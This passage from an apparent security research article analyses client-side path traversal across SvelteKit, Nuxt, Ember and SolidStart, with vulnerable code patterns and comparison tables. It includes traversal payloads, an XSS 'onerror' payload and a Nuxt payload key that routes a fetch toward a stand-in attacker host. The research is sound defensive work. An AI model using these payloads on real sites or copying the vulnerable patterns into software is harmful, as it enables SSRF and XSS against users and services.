const doc = await fetch(`http://internal-service.local/data/${dataId}`);
return { data: await doc.json() };
};
This is secondary context path traversal, analogous to Next.js route handlers. The fetch goes directly to the internal service. It does NOT pass through hooks.server.ts. So even if you have auth middleware in your hooks, a traversal from a server load function bypasses it entirely.
The most dangerous client-side combination is when the fetch response flows into {@html}, which is SvelteKit’s equivalent of dangerouslySetInnerHTML. CSPT plus {@html} equals XSS, same as in React and Vue.
| Source | Decoded? | Context | Risk |
|---|---|---|---|
params in +page.ts (client nav) |
YES, decode_params() |
Client-side fetch | CSPT, %2F decoded to / |
params in +page.ts (SSR) |
YES, decode_params() + server fetch decode |
Server-side fetch | Secondary PT, server resolves ../ |
params in +page.server.ts |
YES, decode_params() |
Server-only, internal network | SSRF, can reach internal services |
params in +server.ts |
YES, decode_params() |
API endpoint, server-only | SSRF, direct backend access |
$page.params in component |
YES, same pipeline | Client-side reactive | CSPT, reactive re-fetch on param change |
url.searchParams in load |
YES, standard URLSearchParams | Any | CSPT, no segment boundary constraint |
%252F (double-encoded) |
NO, %25-split blocks |
Any | Safe, stays as literal %2F |
SvelteKit’s param matcher defense is the best I’ve seen in any framework:
// src/params/id.ts
export function match(param: string): boolean {
return /^[a-zA-Z0-9-_]+$/.test(param);
}
// Usage: src/routes/user/[id=id]/+page.svelte
If the param doesn’t match the pattern, the entire route fails to match. Traversal payloads get rejected at the routing level, before any load function executes. It’s opt-in, not default, but when used, it’s the strongest framework-level defense available. No other framework offers route-level param validation that prevents the load function from even running.
Nuxt
The primary client-side sink is useFetch() and $fetch(). Nuxt’s data-fetching composables pass the URL string directly to globalThis.$fetch with zero sanitization:
// nuxt/dist/app/composables/fetch.js:64
return _$fetch(_request.value, { signal, ..._fetchOptions });
The standard CSPT pattern:
// pages/users/[id].vue
const route = useRoute();
const { data } = useFetch(`/api/users/${route.params.id}`);
// route.params.id = "../../admin" (decoded by Vue Router)
// fetch URL: /api/users/../../admin
// Browser resolves: GET /api/admin
Multi-param routes double the attack surface. /shop/..%2F..%2Fadmin/..%2Fusers gives route.params.category = "../../admin" and route.params.productId = "../users". A fetch to /api/shop/${category}/products/${productId} resolves to /api/admin/users.
The server-side sink is where Nuxt diverges from standalone Vue. Server routes under server/api/ execute with full network access and can reach internal services. The common proxy pattern is the most dangerous:
// server/api/proxy/[...path].ts
const path = event.context.params?.path || "";
return $fetch(`https://backend.internal/${path}`);
Even without explicit decoding, if the backend normalizes the URL, the traversal can land. And if the developer adds { decode: true } to getRouterParam(), the traversal is fully decoded before reaching the internal fetch. This once again opens the door for secondary context path traversal
The most dangerous client-side combination is v-html with an API response that the attacker controls via CSPT:
// pages/dashboard/stats.vue
const route = useRoute();
const widget = route.query.widget;
const { data: widgetHtml } = useFetch(`/api/widgets/${widget}`);
// template: <div v-html="widgetHtml" />
Navigate to /dashboard/stats?widget=../../attachments/malicious and the fetch hits /api/attachments/malicious instead of /api/widgets/.... If the attacker uploaded HTML as an attachment, v-html renders it. CSPT to XSS, same as in standalone Vue.
Nuxt also has a unique attack surface that no other framework shares: island component payload revival. The revive-payload.client.js plugin deserializes island data from the window.__NUXT__ payload and fetches component data using a key from that payload:
// revive-payload.client.js:20
nuxtApp.payload.data[key] ||= $fetch(`/__nuxt_island/${key}.json`, {
responseType: "json",
...(params ? { params } : {}),
});
If an attacker can poison the payload (via cache poisoning, stored injection, or MITM on the initial HTML), the key can traverse the $fetch URL to any same-origin endpoint. The .json suffix gets appended, but a query parameter absorbs it: key = "../../api/proxy/attacker.com?x=" produces $fetch("/__nuxt_island/../../api/proxy/attacker.com?x=.json"), which resolves to /api/proxy/attacker.com?x=.json. This is stored CSPT. The payload is set once, and every client that loads the page fires the traversed fetch. This was assigned CVE-2025-59414.
| Source | Decoded? | Context | Risk |
|---|---|---|---|
route.params.* in useFetch |
YES, Vue Router decodeParams() |
Client-side fetch | CSPT, %2F decoded to / |
route.query.* in useFetch |
YES, Vue Router parseQuery() |
Client-side fetch | CSPT, no segment boundary |
route.hash |
YES, Vue Router decode() |
Client-side | CSPT if interpolated into fetch |
getRouterParam(event, 'id') |
NO, raw by default | Server-side fetch | Safe unless { decode: true } |
getRouterParam(event, 'id', { decode: true }) |
YES | Server-side fetch | SSRF, full traversal |
event.context.params.* |
NO, raw from radix3 | Server-side | Safe unless manually decoded |
Island payload key in $fetch |
N/A (stored value) | Client-side, stored | Stored CSPT (CVE-2025-59414) |
The safe sources in Nuxt are route.path and route.fullPath on the client (which preserve %2F encoding), and getRouterParam() without the decode option on the server.
Ember
The primary sink in Ember is fetch() in the model hook. This is the standard pattern in every Ember app:
// app/routes/user.js
export default class UserRoute extends Route {
model(params) {
return fetch(`/api/users/${params.user_id}`).then((r) => r.json());
}
}
// params.user_id = "../../admin" → fetch("/api/admin")
Ember also has a second sink that’s unique to its ecosystem: Ember Data adapters (now WarpDrive). The adapter pattern builds API URLs from model names and IDs, and the default urlForFindRecord does not encode:
// Vulnerable adapter pattern
urlForFindRecord(id, modelName) {
return `/api/${modelName}s/${id}`; // No encodeURIComponent!
}
When a route’s model hook calls this.store.findRecord('user', params.user_id), the decoded param flows through the adapter’s URL builder. The traversal payload ../../admin becomes part of the fetch URL without any encoding. This is an indirect CSPT sink. The developer never calls fetch() directly. The framework’s data layer does it for them, and the adapter doesn’t sanitize.
The XSS escalation in Ember uses triple-curly syntax } instead of dangerouslySetInnerHTML or v-html. In Handlebars, double curlies `` escape HTML. Triple curlies render raw HTML. In production builds, triple curlies compile to Glimmer VM appendHTML opcodes, which call insertAdjacentHTML('beforeend', html) on the DOM element. Functionally identical to innerHTML.
If CSPT redirects a fetch to an attacker-controlled endpoint that returns HTML, and that HTML flows into a triple-curly template, you get XSS. The chain: query param decoded → interpolated into fetch URL → fetch hits attacker endpoint → response contains <img onerror=alert(1)> → triple curlies render it → script executes.
Ember also has htmlSafe() from @ember/template, which programmatically marks a string as safe for HTML rendering. Any component that wraps API response data in htmlSafe() before rendering is an XSS sink when combined with CSPT.
| Source | Decoded? | Sink | Risk |
|---|---|---|---|
params.* in model hook (:param) |
YES, findHandler() → decodeURIComponent |
fetch(url) |
High, CSPT |
params.* in model hook (*wildcard) |
Partial (normalized, not final-decoded) | fetch(url) |
High, literal ../ works |
this.paramsFor(routeName) |
YES, same pipeline | fetch(url) |
High, ancestor params |
this.router.currentRoute.params |
YES, same pipeline | fetch(url) |
High |
| Query params in model hook | YES, browser-decoded | fetch(url) |
High, no segment boundary |
window.location.hash (hash routing) |
Raw, client-controlled | Router pipeline | High, full path control |
transition.to.queryParams |
YES | transitionTo(value) |
Medium, open redirect |
Ember Data adapter urlForFindRecord(id) |
YES (id from decoded params) | Internal fetch(url) |
High, indirect CSPT |
} / htmlSafe() with API response |
N/A | insertAdjacentHTML |
Critical, XSS |
The only safe source in Ember is reading the URL directly from window.location.pathname or window.location.href, which preserves %2F encoding. Everything that flows through route-recognizer’s findHandler() for dynamic segments is fully decoded.
SolidStart
The primary client-side sink is fetch() inside createResource or createAsync, which are Solid’s reactive data-fetching primitives. When the tracked signal (params) changes via client-side navigation, the fetcher re-executes immediately with no page reload:
const [user] = createResource(
() => params.userId,
async (userId) => {
const res = await fetch(`/api/users/${userId}`);
return res.json();
},
);
For path params, this is safe. params.userId is still encoded, so the fetch URL contains encoded characters that the server receives as-is.
For search params, this is not safe:
const [searchParams] = useSearchParams();
const [stats] = createResource(
() => searchParams.source,
async (source) => {
const res = await fetch(`/api/stats?source=${source}`);
return res.json();
},
);
Navigate to /dashboard/stats?source=../../uploads/malicious and the fetch fires with the decoded traversal in the query string.
SolidStart’s server functions add a second sink. The query() API with "use server" serializes arguments via seroval and sends them as a POST body to /_server. The server deserializes the exact string the client sent. No re-encoding, no sanitization at the transport boundary:
const getData = query(async (dataId: string) => {
"use server";
const res = await fetch(`http://internal-service.local/data/${dataId}`);
return res.json();
}, "getData");
// Client call:
const data = createAsync(() => getData(params.dataId));
If params.dataId came from a search param (decoded) or a catch-all route with real slashes, the traversal string passes through the JSON RPC boundary unchanged. "../../admin" on the client becomes "../../admin" on the server, which then interpolates it into an internal fetch URL. This is SSRF through a server function.
The XSS escalation uses Solid’s native innerHTML prop. Unlike React’s dangerouslySetInnerHTML (which is verbose by design to discourage use), Solid treats innerHTML as a first-class JSX attribute:
<div innerHTML={stats()} />
This compiles directly to element.innerHTML = value. Combined with CSPT via search params, if the attacker can redirect a fetch to an endpoint returning HTML, the response gets rendered into the DOM.
| Source | Decoded? | Context | Risk |
|---|---|---|---|
useParams() (:param) |
NO, raw from URL | Client-side fetch | Low, stays encoded |
useParams() ([...path] catch-all) |
NO, but real / from path |
Client-side fetch | Medium, real slashes |
useSearchParams() |
YES, URLSearchParams auto-decodes |
Client-side fetch | High, primary CSPT vector |
useLocation().pathname |
NO, raw from browser | Client-side fetch | Low, stays encoded |
Server function args via query() |
Passthrough (exact client string) | Server-side fetch | High, SSRF if input decoded |
API route event.params |
NO, raw from radix3 | Server-side fetch | Low, stays encoded |
innerHTML with API response |
N/A | element.innerHTML = value |
Critical, XSS |
The safe sources in SolidStart are useParams() for single-segment dynamic params and useLocation().pathname, both of which preserve percent-encoding. The dangerous sources are useSearchParams() (auto-decoded by the browser API) and any value that passes through server functions from an already-decoded input.
Conclusion
Client-side paths are a rich attack surface. Each framework parses dynamic paths and query parameters differently. There are dangerous code patterns in each framework. If a path traversal payload is be passed to a client-side fetch request, it leads to CSPT. If a path-traversal payload is passed to a Server-side fetch request, it can lead to secondary context path traversal.
Path Params: Does %2F Decode to /?
| Framework | Source | %2F → /? |
%2E%2E → ..? |
Double-Encode (%252F)? |
Decode Function |
|---|---|---|---|---|---|
| React Router | useParams() |
YES | YES | YES (decode + replace) | decodeURIComponent + .replace(/%2F/g, "/") |
| Next.js | useParams() / page await params |
NO (re-encoded) | YES | NO | getParamValue() re-encodes |
| Next.js | Route handler await params |
YES | YES | NO | getRouteMatcher() → decode |
| Vue Router | route.params.* |
YES | YES | NO | decodeURIComponent via decodeParams() |
| Nuxt (client) | useRoute().params.* |
YES | YES | NO | Inherits Vue Router decodeParams() |
| Nuxt (server) | getRouterParam(event, 'id') |
NO | NO | NO | Raw from radix3 (no decode by default) |
| Nuxt (server) | getRouterParam(event, 'id', { decode: true }) |
YES | YES | NO | decodeURIComponent |
| Angular | paramMap.get() |
YES | YES | NO | decodeURIComponent via decode() |
| SvelteKit | params.* in load functions |
YES | YES | NO (%25-split blocks) |
decode_pathname() + decode_params() |
Ember (:param) |
params.* in model hook |
YES | YES | NO (normalizePath re-encodes %) |
normalizePath() + findHandler() → decodeURIComponent |
Ember (*wildcard) |
params.* in model hook |
NO (star skips final decode) | Partial | NO | normalizePath() only (no final decode) |
| SolidStart | useParams() |
NO | NO | NO | None (raw from URL) |
Query Params: Decoded Everywhere
Every framework decodes query parameters. There are no exceptions.
| Framework | Source | Decoded? | Notes |
|---|---|---|---|
| React Router | useSearchParams() |
YES | Standard URLSearchParams |
| Next.js | useSearchParams() / searchParams |
YES | Standard URLSearchParams |
| Vue Router | route.query.* |
YES | Vue’s parseQuery(), + stays literal |
| Nuxt (client) | useRoute().query.* |
YES | Inherits Vue Router parseQuery() |
| Nuxt (server) | getQuery(event) |
YES | ufo library decodes |
| Angular | queryParamMap.get() |
YES | decodeQuery() → decodeURIComponent |
| SvelteKit | url.searchParams / $page.url.searchParams |
YES | Standard URLSearchParams |
| Ember | Query params in model hook | YES | Browser-decoded |
| SolidStart | useSearchParams() |
YES | Standard URLSearchParams |
XSS Sinks: The Escalation Function
| Framework | Dangerous Render | Syntax | Compiles To |
|---|---|---|---|
| React | dangerouslySetInnerHTML |
<div dangerouslySetInnerHTML= /> |
element.innerHTML = val |
| Next.js | dangerouslySetInnerHTML |
Same as React | element.innerHTML = val |
| Vue / Nuxt | v-html |
<div v-html="val" /> |
element.innerHTML = val |
| Angular | [innerHTML] + bypassSecurityTrustHtml() |
<div [innerHTML]="val"> |
element.innerHTML = val (bypasses sanitizer) |
| SvelteKit | {@html} |
{@html val} |
element.innerHTML = val |
| Ember | Triple curlies / htmlSafe() |
} |
insertAdjacentHTML('beforeend', val) |
| SolidStart | innerHTML |
<div innerHTML={val} /> |
element.innerHTML = val |
Safe Sources: What Won’t Betray You
| Framework | Safe Source | Why |
|---|---|---|
| React Router | useLocation().pathname |
Preserves %2F encoding |
| Next.js | useParams() / page await params |
getParamValue() re-encodes %2F |
| Vue Router | route.path, route.fullPath |
Preserves %2F encoding |
| Nuxt (client) | route.path, route.fullPath |
Inherits Vue Router encoding preservation |
| Nuxt (server) | getRouterParam() without { decode: true } |
Raw from radix3, no decode |
| Angular | router.url |
Preserves %2F encoding |
| SvelteKit | Param matchers ([id=id]) |
Rejects non-matching values at route level |
| Ember | window.location.pathname |
Raw browser value, bypasses route-recognizer |
| SolidStart | useParams() (single segment) |
Router never calls decodeURIComponent |
Server-Side / Secondary Traversal Sinks
| Framework | Server Sink | Params Decoded? | Risk |
|---|---|---|---|
| Next.js | Route handler await params → fetch() |
YES (auto-decoded) | SSRF to internal services |
| Nuxt | getRouterParam(event, 'id', { decode: true }) → $fetch() |
YES (opt-in) | SSRF to internal services |
| SvelteKit | +page.server.ts / +server.ts params → fetch() |
YES (decode_params()) |
SSRF, bypasses hooks.server.ts |
| SolidStart | query("use server") args → fetch() |
Passthrough (exact client string) | SSRF if input already decoded |